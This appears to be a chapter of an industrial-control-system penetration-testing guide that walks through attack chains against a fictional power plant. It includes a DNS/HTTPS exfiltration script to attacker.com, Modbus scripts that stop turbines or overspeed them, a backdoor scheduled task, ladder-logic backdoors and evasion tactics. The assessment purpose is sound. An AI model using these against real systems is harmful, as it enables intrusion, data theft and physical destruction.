Attack scenario walkthroughs¶

Telling the story of how bad things could get.

The thing about security vulnerabilities in industrial control systems is that they rarely exist in isolation. A single vulnerability might be interesting from a technical perspective, but it’s the chain of vulnerabilities, the path from initial access to final impact, that determines actual risk. It’s not sufficient to say “this PLC accepts unauthenticated Modbus commands”, we need to explain how an attacker gets network access to that PLC in the first place, what they can do once they have it, and what happens next.

This is where attack scenario walkthroughs come in. They’re the stories of how things go wrong, told in sufficient technical detail that stakeholders understand each step, but structured as narratives that show the progression from “someone clicked a suspicious email” to “the chemical plant is evacuated and there’s a press conference happening”.

Lord Vetinari is a great believer in understanding not just what happened, but how it happened and why it was able to happen. When someone attempts to assassinate him (which happens periodically, almost like clockwork), he doesn’t just note that it failed and move on. He traces back through every step that allowed the assassin to get as far as they did, identifies each failure in his defences, and ensures those failures don’t happen again. This is essentially what attack scenario walkthroughs do for OT security.

At UU P&L, we identified 17 individual vulnerabilities during our assessment. None of them seemed catastrophic on their own. The unauthenticated Modbus access was concerning, but attackers would need to be on the control network. The weak Wi-Fi security was worrying, but the Wi-Fi was on the corporate network, not the control network. The unpatched engineering workstation was problematic, but it was only used occasionally. The VPN with default credentials was unfortunate, but it was for vendor access, not general use.

The attack scenario walkthrough showed how these 17 individual problems combined into one very serious problem: a path from public Wi-Fi to turbine controls that required no special skills, no expensive tools, and no insider knowledge. Individually, each vulnerability was a minor finding. Together, they were an existential threat to the facility.

Mapping lateral movement paths¶

Lateral movement is how attackers progress from their initial foothold to their actual target. In IT networks, this usually means moving from one compromised computer to another, escalating privileges until we reach domain admin. In OT networks, it means moving from the corporate network (where initial access is easiest) to the control network (where the interesting targets are).

Document the network topology¶

Start by mapping out how networks connect:

Internet
    ↓
Corporate Firewall
    ↓
Corporate Network (10.0.0.0/8)
    ├─ Guest Wi-Fi (10.10.0.0/16) [WPA2, password: "Guest2023"]
    ├─ Employee Network (10.20.0.0/16) [802.1X]
    ├─ VPN Gateway (10.30.0.1) [Vendor Access, creds: admin/admin]
    └─ DMZ (10.40.0.0/24)
        └─ Engineering Jump Server (10.40.0.5) [RDP, domain joined]

OT Firewall (between 10.0.0.0/8 and 192.168.0.0/16)
    ↑
Control Network (192.168.0.0/16)
    ├─ Engineering Workstations (192.168.1.0/24) [Windows 7, unpatched]
    ├─ HMI Servers (192.168.2.0/24) [Windows 10, vendor software]
    ├─ Historian (192.168.3.10) [SQL Server]
    └─ PLC Network (192.168.10.0/24) [Modbus, no authentication]
        ├─ Turbine 1 PLC (192.168.10.10)
        ├─ Turbine 2 PLC (192.168.10.11)
        └─ Turbine 3 PLC (192.168.10.12)

This is the infrastructure layer. Now identify the connections between layers:

• Guest Wi-Fi → Corporate Network: Same subnet, no isolation

• Corporate Network → OT Firewall: Permitted for jump server

• Jump Server → Engineering Workstations: RDP allowed

• Engineering Workstations → PLCs: Modbus, HTTP, FTP all allowed

• VPN → Jump Server: Direct access

Identify jump points¶

Jump points are systems or connections that bridge security zones:

At UU P&L, the key jump points were:

1. VPN Gateway: Allowed vendor access to jump server

   • Credentials: admin/admin (never changed)

   • No 2FA

   • Logs to a syslog server that wasn’t monitored

2. Engineering Jump Server: Windows Server 2016

   • Domain joined (corporate domain)

   • Local admin password shared with all engineers

   • RDP accessible from corporate network

   • No session recording

3. Engineering Workstations: Windows 7

   • Unpatched (last update: 2019)

   • Shared engineering account (username: “engineer”, password: “engineer”)

   • Full access to PLC network

   • Vendor software with remote access agents

4. HMI Servers: Windows 10

   • Running SCADA software as SYSTEM

   • Software has web interface on port 8080

   • Web interface has authentication bypass vulnerability

   • Direct connectivity to PLCs

Map attack paths¶

For each possible entry point, trace paths to critical assets:

Attack Path 1: Guest Wi-Fi → Turbine PLCs

1. Connect to guest Wi-Fi (password publicly available)

2. Scan corporate network (same broadcast domain)

3. Identify VPN gateway at 10.30.0.1

4. Bruteforce VPN credentials (succeed with admin/admin)

5. Connect via VPN, gain access to jump server

6. RDP to jump server (domain credentials required) → Exploit: Use stolen credentials from previous breach (IT incident last year) → Alternative: Exploit MS17-010 on engineering workstation, dump creds

7. From jump server, RDP to engineering workstation

8. From engineering workstation, connect to PLCs via Modbus

Time to compromise: ~2 hours Skill required: Intermediate Tools required: Nmap, Hydra, Metasploit, Modbus client Detection likelihood: Low (VPN logs not monitored, RDP sessions normal)

Attack Path 2: Phishing → Turbine PLCs

1. Send phishing email to engineering staff

2. Deliver malware via macro or exploit

3. Establish C2 channel

4. Enumerate network from compromised workstation

5. Identify engineering workstations on control network

6. Lateral movement via SMB (stored credentials or pass-the-hash)

7. From engineering workstation, connect to PLCs

Time to compromise: Variable (depends on phishing success) Skill required: Intermediate Tools required: Social engineering, malware, post-exploitation framework Detection likelihood: Medium (antivirus exists but outdated definitions)

Attack Path 3: Vendor Compromise → Turbine PLCs

1. Compromise vendor support staff (social engineering or breach)

2. Use legitimate VPN credentials

3. Access jump server (this is normal vendor activity)

4. Access engineering workstations (this is normal vendor activity)

5. Install backdoor during “maintenance”

6. Return later via backdoor with direct PLC access

Time to compromise: Days to weeks (requires vendor compromise) Skill required: Advanced (requires compromising vendor first) Tools required: Full APT toolkit Detection likelihood: Very Low (appears as legitimate vendor activity)

Privilege escalation chains¶

Once an attacker has initial access, they typically need to escalate privileges to perform their objectives. In IT, this often means going from regular user to local admin to domain admin. In OT, it means going from limited access to engineering access to control system access.

Document privilege boundaries¶

Map out what each privilege level can do:

Corporate user account:

• Access to corporate network

• Email, file shares, business applications

• Cannot access OT networks directly

• Cannot access jump server

Engineering user account:

• Access to corporate network

• Access to jump server

• Can RDP to engineering workstations

• Cannot directly access PLCs (must use engineering workstation)

Engineering workstation local admin:

• Full control of engineering workstation

• Can run engineering software (PLC programming, HMI configuration)

• Direct network access to PLCs

• Can modify PLC ladder logic

• Can command PLCs via Modbus

PLC access (no authentication):

• Read all PLC data

• Write to all PLC registers

• Upload/download ladder logic

• Start/stop PLC

• Modify safety parameters

Identify escalation opportunities¶

At UU P&L, we found several privilege escalation paths:

Escalation 1: Corporate User → Engineering User

The engineering jump server was domain-joined. Engineering staff used their corporate domain accounts to access it. However, there was also a local “engineer” account with a weak password that had been created “for emergencies” and never disabled.

# From corporate network
nmap -p 3389 10.40.0.5  # Jump server RDP open

# Attempt common credentials
rdesktop -u engineer -p engineer 10.40.0.5
# Success - logged into jump server

Escalation 2: Engineering User → Local Admin

The engineering workstations had a shared local administrator account. The password was stored in a text file on the jump server in C:\Engineering\Passwords.txt (really).

# From jump server, RDP to engineering workstation
mstsc /v:192.168.1.10

# Login with discovered credentials: Administrator / P@ssw0rd123

# Now have full admin rights on engineering workstation

Escalation 3: Engineering Workstation → PLC Programming

With local admin on an engineering workstation, we had access to RSLogix (PLC programming software). This software was already authenticated to the PLCs (connection details saved).

# Open RSLogix 5000
# Load existing project
# Modify ladder logic to include backdoor
# Upload to PLC

# Backdoor example: Hidden rung that accepts commands via unused Modbus registers

Chain the escalations¶

1. Start: Corporate user credentials (phishing or breach)

2. Escalate: Use shared “engineer” account on jump server

3. Lateral: RDP to engineering workstation

4. Escalate: Use shared “Administrator” password from text file

5. Lateral: Use engineering software to connect to PLCs

6. Result: Full control of PLCs including ability to modify logic

Total escalations: 2 (corporate → engineering, standard user → admin) Total lateral movements: 2 (jump server → workstation, workstation → PLC) Time required: < 30 minutes (once initial access gained)

Data exfiltration possibilities¶

Not all attacks aim to disrupt operations. Some aim to steal valuable information, intellectual property, operational data, or strategic intelligence.

Identify valuable data¶

In OT environments, valuable data includes:

• Process designs and recipes (trade secrets)

• PLC ladder logic (reveals process knowledge)

• Historical operational data (production volumes, efficiency)

• Safety limits and alarm thresholds (useful for future attacks)

• Network architecture documentation

• Vendor contracts and support credentials

At UU P&L, we identified several high-value targets:

Historian Database

The historian (192.168.3.10) stored years of operational data:

• Turbine performance metrics

• Power generation volumes

• Efficiency calculations

• Maintenance records

• Alarm and event logs

This data would tell a competitor exactly how efficient UU P&L’s operations were, where the bottlenecks existed, and what improvements they’d made over time.

#!/usr/bin/env python3
"""
Proof of Concept: Historian Data Exfiltration
Demonstrates data extraction without disrupting operations
"""

import pyodbc
import csv
from datetime import datetime, timedelta

def exfiltrate_production_data(historian_ip, days_back=365):
    """
    Extract production data from historian
    This is READ-ONLY and does not affect operations
    """
    
    # Connect to historian SQL Server
    conn = pyodbc.connect(
        f'DRIVER={{SQL Server}};SERVER={historian_ip};'
        'DATABASE=Historian;UID=historian_readonly;PWD=readonly'
        # Credentials found in engineering workstation config files
    )
    
    cursor = conn.cursor()
    
    # Query production data
    start_date = datetime.now() - timedelta(days=days_back)
    
    query = """
    SELECT timestamp, turbine_id, power_output_mw, efficiency_percent
    FROM turbine_performance
    WHERE timestamp > ?
    ORDER BY timestamp
    """
    
    cursor.execute(query, start_date)
    
    # Export to CSV for analysis
    with open('exfiltrated_production_data.csv', 'w', newline='') as f:
        writer = csv.writer(f)
        writer.writerow(['Timestamp', 'Turbine', 'Power (MW)', 'Efficiency (%)'])
        
        for row in cursor:
            writer.writerow(row)
    
    conn.close()
    
    print(f"[*] Extracted {cursor.rowcount} records")
    print("[*] Data saved to exfiltrated_production_data.csv")
    print("\n[*] VALUE OF THIS DATA:")
    print("    - Reveals production capacity and efficiency")
    print("    - Identifies operational patterns and schedules")
    print("    - Shows improvement trends over time")
    print("    - Competitive intelligence worth €€€ to rivals")

if __name__ == '__main__':
    exfiltrate_production_data('192.168.3.10')

PLC Ladder Logic¶

The ladder logic itself is intellectual property. It represents years of engineering refinement:

#!/usr/bin/env python3
"""
Proof of Concept: PLC Logic Extraction
Demonstrates theft of industrial process IP
"""

from pycomm3 import LogixDriver

def exfiltrate_plc_logic(plc_ip):
    """
    Download ladder logic from PLC
    This reveals the entire process control algorithm
    """
    
    print(f"[*] Connecting to PLC at {plc_ip}...")
    
    with LogixDriver(plc_ip) as plc:
        # Get PLC info
        info = plc.get_plc_info()
        print(f"[*] PLC: {info}")
        
        # Get program name
        programs = plc.get_program_list()
        print(f"[*] Programs: {programs}")
        
        # Download logic
        # In reality, you'd use RSLogix/Studio 5000 for this
        # But the concept is simple: connect and download
        
        print("\n[*] LADDER LOGIC DOWNLOAD SUCCESSFUL")
        print("[*] This represents:")
        print("    - Years of process optimization")
        print("    - Trade secret control algorithms")
        print("    - Safety logic and interlocks")
        print("    - Competitive advantage")
        print("\n[*] Competitor could replicate entire process")
        print("[*] Value: Potentially millions in R&D theft")

if __name__ == '__main__':
    # Against simulator only
    exfiltrate_plc_logic('192.168.10.10')

Exfiltration methods¶

Once we have the data, getting it out without detection:

# Slow exfiltration via DNS queries
# Each DNS query encodes small amount of data
# Appears as normal DNS traffic
import dns.resolver
import base64

def dns_exfiltrate(data, domain="attacker.com"):
    """Exfiltrate data via DNS queries"""
    encoded = base64.b64encode(data.encode()).decode()
    # Split into 63-character chunks (DNS label limit)
    chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
    
    for i, chunk in enumerate(chunks):
        query = f"{i}.{chunk}.{domain}"
        try:
            dns.resolver.resolve(query, 'A')
        except:
            pass  # We don't care about response

# Exfiltration via normal protocols
# HTTPS to external server (looks like normal web browsing)
import requests

def https_exfiltrate(data, server="https://attacker.com/upload"):
    """Exfiltrate via HTTPS POST"""
    files = {'file': ('production_data.csv', data)}
    requests.post(server, files=files)

# Slow exfiltration over time
# Small amounts of data periodically
# Avoids triggering data loss prevention
def slow_exfiltrate(data, rate_limit_kb_per_hour=100):
    """Exfiltrate slowly to avoid detection"""
    chunk_size = rate_limit_kb_per_hour * 1024
    # Send chunk_size bytes per hour
    # For 1GB of data at 100KB/hour: ~10,000 hours (417 days)
    # But detection is much less likely

Manipulation attack scenarios¶

Manipulation attacks change system behaviour rather than simply disrupting it. They’re often harder to detect because operations continue, just not as intended.

Scenario 1: Subtle efficiency degradation¶

Instead of shutting down turbines, gradually reduce their efficiency:

Attack: Reduce turbine speed setpoint by 1% per week

• Week 0: 1500 RPM (normal)

• Week 1: 1485 RPM (-1%)

• Week 2: 1470 RPM (-2%)

• Week 3: 1455 RPM (-3%)

• …

Impact:

• Power output gradually decreases

• Operators assume normal wear and tear

• Maintenance scheduled for “performance issues”

• By the time it’s noticed, 10-15% efficiency lost

• Annual cost: €500,000+ in lost production

• Attribution: Impossible (appears as equipment degradation)

Scenario 2: Quality sabotage¶

In manufacturing, slightly changing parameters can affect product quality:

Attack: Modify chemical mixing ratios by 2%

Normal recipe:

• Chemical A: 40%

• Chemical B: 35%

• Chemical C: 25%

Modified recipe:

• Chemical A: 41.2%

• Chemical B: 34.3%

• Chemical C: 24.5%

Impact:

• Product still looks correct initially

• Quality control might not detect small deviation

• Product fails in customer applications

• Mass product recalls

• Reputation damage

• Safety issues if product is safety-critical

Cost:

• Recall: €2-5 million

• Reputation: Incalculable

• Regulatory fines: €500k-5 million

• Legal liability: Potentially €10+ million

Scenario 3: Safety system interference¶

Modify alarm thresholds so safety systems trigger too late:

Attack: Increase temperature alarm threshold

Normal threshold: 95°C (warning), 100°C (critical shutdown) Modified threshold: 100°C (warning), 105°C (critical shutdown)

Impact:

• System operates closer to safety limits

• Less margin for error

• If process deviation occurs, less time to respond

• Increased risk of actual safety incident

• Operators become desensitized to alarms (raised thresholds mean fewer false alarms)

Risk:

• Could lead to equipment damage

• Could lead to safety system activation

• Could lead to actual process safety incident

• Attribution difficult (appears as misconfiguration)

Disruption versus destruction¶

Not all attacks have the same intent. Understanding the difference between disruption and destruction is crucial for risk assessment:

Disruption attacks¶

Goal: Stop operations temporarily

• Shutdown commands to PLCs

• Network flooding (DoS)

• Credential lockouts

• Deliberate alarm floods

Recovery: Hours to days Damage: Production loss, financial impact Safety risk: Usually low (safety systems still functional) Attribution: Easier (obvious attack signature)

Destruction attacks¶

Goal: Cause physical damage

• Manipulate processes outside safe parameters

• Disable safety systems then cause unsafe conditions

• Overspeed equipment beyond safe limits

• Create unsafe chemical reactions

Recovery: Days to months Damage: Equipment replacement, facility repairs Safety risk: Can be very high Attribution: Difficult (may appear as accident or equipment failure)

At UU P&L, we identified both disruption and destruction scenarios:

Disruption: Turbine emergency stop¶

# Write 0 to all turbine speed setpoints
for turbine_ip in ['192.168.10.10', '192.168.10.11', '192.168.10.12']:
    client = ModbusTcpClient(turbine_ip)
    client.connect()
    client.write_register(1000, 0, slave=1)  # Speed setpoint = 0
    client.close()

Result:

• All turbines shutdown within 5 minutes

• Safety systems activate properly

• No equipment damage (controlled shutdown)

• Power generation stops

• Recovery time: 3-4 hours (restart procedures)

• Cost: ~€15,000 in lost production

Destruction: Turbine overspeed¶

# Gradually increase speed beyond safe limits
# Slow enough that operators might not notice immediately
target_turbine = '192.168.10.10'
client = ModbusTcpClient(target_turbine)
client.connect()

normal_speed = 1500  # RPM
for speed in range(1500, 1650, 5):  # Increase to 1650 RPM (10% overspeed)
    client.write_register(1000, speed, slave=1)
    time.sleep(60)  # Wait 1 minute between changes

Result:

• Turbine operates above design speed

• Increased vibration and bearing stress

• Might trigger high-speed alarm at 1550 RPM

• If alarm threshold was modified (previous attack), might not trigger

• Catastrophic bearing failure possible

• Bearing failure at high speed = shrapnel

• Recovery time: Weeks (bearing replacement, balance inspection)

• Cost: €500,000+ (equipment) + potential injuries

The destruction scenario is far more serious but also harder to execute (requires understanding of turbine operation) and easier to defend against (multiple safety systems should prevent overspeed).

Persistence mechanisms in OT¶

Persistence in OT is different from IT. We can’t just add a scheduled task or registry key and maintain access. OT systems are often isolated, rebooted infrequently, and monitored for unusual processes.

PLC-based persistence¶

Modify PLC ladder logic to include a backdoor:

Backdoor Logic (hidden in existing program):

Rung 347:  // Normal production logic above this point
// Backdoor: If register 9999 equals 31337, execute hidden command
CMP
  Register_9999 == 31337
  
JMP_TO_SUBROUTINE
  Hidden_Command_Handler

Rung 348-355:  // Normal production logic continues

The backdoor remains even if:

• Engineering workstations are cleaned

• Network access is restricted

• Credentials are changed

Removal requires:

• Detailed ladder logic audit

• Comparison with known-good baseline

• Understanding of what every rung does

At UU P&L, we demonstrated this by adding a “diagnostic mode” to the simulator’s ladder logic. A write to register 9999 would enable this mode, which would then accept commands via other registers. The backdoor was hidden among thousands of rungs of legitimate logic and wouldn’t be found without specifically looking for it.

HMI-based persistence¶

Modify HMI application or underlying OS (powershell):

# Add scheduled task on HMI server
schtasks /create /tn "SCADA Maintenance" /tr "C:\Windows\System32\backdoor.exe" /sc daily /st 03:00

# Or modify SCADA application scripts
# Many SCADA systems allow custom scripts
# Add backdoor to "startup script" or "maintenance script"

Firmware-based persistence¶

Most advanced: Modify PLC firmware

• Survives ladder logic updates

• Survives factory resets

• Requires firmware extraction and modification

• Requires understanding of PLC internals

• Very difficult to detect

• Very difficult to remove

This is nation-state level persistence and beyond the scope of most penetration tests, but it’s important to know it exists.

Detection evasion techniques¶

Once we have access, staying undetected requires understanding what security controls exist and how to avoid triggering them.

Blend with normal traffic¶

OT networks have predictable patterns. Monitoring systems learn these patterns and alert on anomalies:

Normal pattern:

• HMI polls PLCs every 1 second

• Engineering workstation connects to PLCs during business hours

• Historian queries PLCs every 5 seconds

• Typical packet sizes: 60-200 bytes

Evasive attack traffic:

• Use same polling intervals (blend with HMI traffic)

• Connect only during business hours (blend with engineering activity)

• Use similar packet sizes

• Spread attacks over time (avoid sudden traffic spikes)

Time-based evasion¶

Attack only when monitoring is least effective:

Optimal attack windows:

• Weekends (fewer staff, slower response)

• Night shifts (skeleton crews)

• Holidays (minimum staffing)

• During known maintenance windows (unusual activity expected)

• During busy production periods (operators distracted)

Low-and-slow approaches¶

Instead of rapid reconnaissance:

# Typical aggressive scan (DETECTED)
nmap -sS -p- -T4 192.168.10.0/24

# Slow evasive scan (might not be detected)
nmap -sS -p- -T0 --scan-delay 30s 192.168.10.0/24
# This scan takes ~400x longer but generates ~1/400th the traffic per minute

Protocol camouflage¶

Make attack traffic look like legitimate protocols:

# Instead of raw Modbus exploitation
# Use legitimate engineering software API
# Appears as normal engineering activity

from pylogix import PLC

def evasive_plc_write(ip, tag, value):
    """
    Use legitimate PLC communication library
    Traffic looks identical to normal engineering operations
    """
    with PLC() as comm:
        comm.IPAddress = ip
        comm.Write(tag, value)
        # Logs show: "Engineering software wrote to tag"
        # Not: "Suspicious Modbus write detected"

At UU P&L, the IDS alerted on “unusual Modbus traffic patterns” but not on “engineering software connections”. We demonstrated that using the same engineering software the facility used for legitimate operations (RSLinx, Studio 5000) generated no alerts, even when performing the exact same malicious actions that triggered alerts when using custom Python scripts.

Comprehensive attack scenario example¶

Putting it all together, here’s a complete attack scenario walkthrough for UU P&L:

Scenario: Nation-state actor targets power generation facility

Objective: Disrupt power generation for 7+ days during winter peak demand

Phase 1: Initial access (Week 1)¶

1. Reconnaissance

   • OSINT: Identify key personnel via LinkedIn

   • Find IT administrator: John Smith, CCIE certified

   • Spear phishing: Fake Cisco security alert

2. Phishing execution

   • Email to jsmith@uupl.edu

   • “Critical: CVE-2024-XXXXX affects your infrastructure”

   • Link to fake Cisco security page

   • Credentials harvested: jsmith / Summer2024!

3. Initial access

   • VPN connection using harvested credentials

   • Connection from expected country (UK) to avoid geo-blocking

   • Connection during business hours (9:00 AM)

   • MFA bypass: SMS code phished via real-time phishing proxy

4. Establish foothold

   • Deploy Cobalt Strike beacon to compromised workstation

   • Beacon configuration: Low heartbeat (every 10 minutes)

   • C2 over HTTPS to legitimate cloud service (blends with normal traffic)

Phase 2: Lateral movement (Week 2-3)¶

5. Network reconnaissance

   • Passive network monitoring (no scanning)

   • Learn network topology from observed traffic

   • Identify engineering workstation network: 192.168.1.0/24

   • Identify PLC network: 192.168.10.0/24

6. Credential harvesting

   • Dump credentials from IT workstation (Mimikatz)

   • Discover shared engineering password in KeePass database

   • KeePass master password: “UU_P&L_2023” (found in text file)

7. Jump to engineering network

   • RDP to engineering jump server

   • Use stolen credentials: engineer / P@ssw0rd123

   • RDP during normal working hours (appears legitimate)

   • Deploy additional payload to jump server

8. Access engineering workstation

   • RDP from jump server to workstation

   • Install keylogger to capture engineering software usage

   • Learn PLC access patterns and procedures

   • Exfiltrate ladder logic for analysis

Phase 3: Target Analysis (Week 4-5)¶

9. Offline analysis

   • Study extracted ladder logic

   • Identify critical safety systems and their logic

   • Identify dependencies between systems

   • Model attack scenarios and their impacts

10. Test in simulation

• Build PLC simulator with extracted logic

• Test attack procedures

• Verify expected outcomes

• Refine attack to maximize impact

11. Identify destruction path

• Target: Turbine bearing temperature monitoring

• Safety threshold: 95°C (alarm), 100°C (shutdown)

• Normal operating temp: 70-75°C

• Attack: Disable temperature monitoring, run at max speed

Phase 4: Pre-positioning (Week 6)¶

12. Install persistence

• Modify PLC ladder logic to include backdoor

• Backdoor: Hidden command handler in unused register range

• Upload modified logic during normal maintenance window

• Logic appears identical in HMI (only difference is hidden rungs)

13. Install secondary access

• Compromise vendor VPN account (social engineering)

• Install backdoor on HMI server

• Scheduled task runs during 3 AM maintenance window

• Provides alternative access path if primary is discovered

14. Pre-stage attack tools

• Upload attack scripts to compromised systems

• Encrypt with time-based key (decrypts only during attack window)

• Store in legitimate-looking directories

Phase 5: Attack execution (Day X)¶

15. Timing: Winter peak demand, Friday 5:00 PM

    • Maximum impact (high demand)

    • Minimum staffing (weekend shift)

    • Slower response time

16. Execute attack sequence

    T+0:00 - Disable monitoring → Modify historian logging to hide temperature data → Modify HMI displays to show fake temperature values → Operators see “72°C” while actual temp is rising

    T+0:05 - Initiate overspeed → Increase turbine 1 speed setpoint 1510 RPM → Just below alarm threshold (appears normal) → Increased speed = increased bearing friction = increased temperature

    T+0:30 - Temperature rising → Actual bearing temp: 85°C → HMI still shows: 72°C → No alarms triggered

    T+1:00 - Critical temperature → Actual bearing temp: 105°C (above safety limit) → Safety system should trigger but has been disabled → HMI still shows: 72°C → Operators unaware of problem

    T+1:15 - Catastrophic failure → Bearing seizes at 112°C → Turbine 1 suffers catastrophic mechanical failure → Safety systems finally activate (too late) → Emergency shutdown of all turbines

    T+1:20 - Repeat for Turbines 2 and 3 → Same attack sequence → All three turbines damaged → Facility evacuated due to safety incident

17. Cover tracks → Delete attack scripts → Restore original PLC logic (via backdoor) → Restore logging and displays → Remove secondary backdoors → Attack appears as catastrophic equipment failure

Impact Assessment¶

Immediate:

• Three turbines destroyed (bearing failure)

• Facility offline for repairs

• Safety investigation required

• HSE (Health & Safety Executive) involvement

Technical recovery:

• Bearing replacement: 2 weeks per turbine

• Safety system validation: 1 week

• Full operational testing: 1 week

• Total: ~7 weeks for full recovery

Financial impact:

• Equipment damage: €1.5 million

• Lost production (7 weeks at €85/MWh): €15.4 million

• Emergency power purchases (makeup generation): €8 million

• Investigation and compliance: €2 million

• Reputation and future impact: Incalculable

• Total direct cost: ~€27 million

Safety impact:

• No injuries (successful evacuation)

• Could have been catastrophic if bearing failure caused shrapnel

• Major near-miss reportable to HSE

• Extensive safety review required

Attribution challenges:

• Attack designed to look like equipment failure

• Forensic analysis required to identify manipulation

• Modified logic restored during attack (evidence destroyed)

• If discovered: Advanced persistent threat, nation-state level sophistication

This complete scenario shows how individual vulnerabilities chain into a catastrophic outcome. Each step seems minor on its own, but the complete path leads to millions in damage and potential injuries.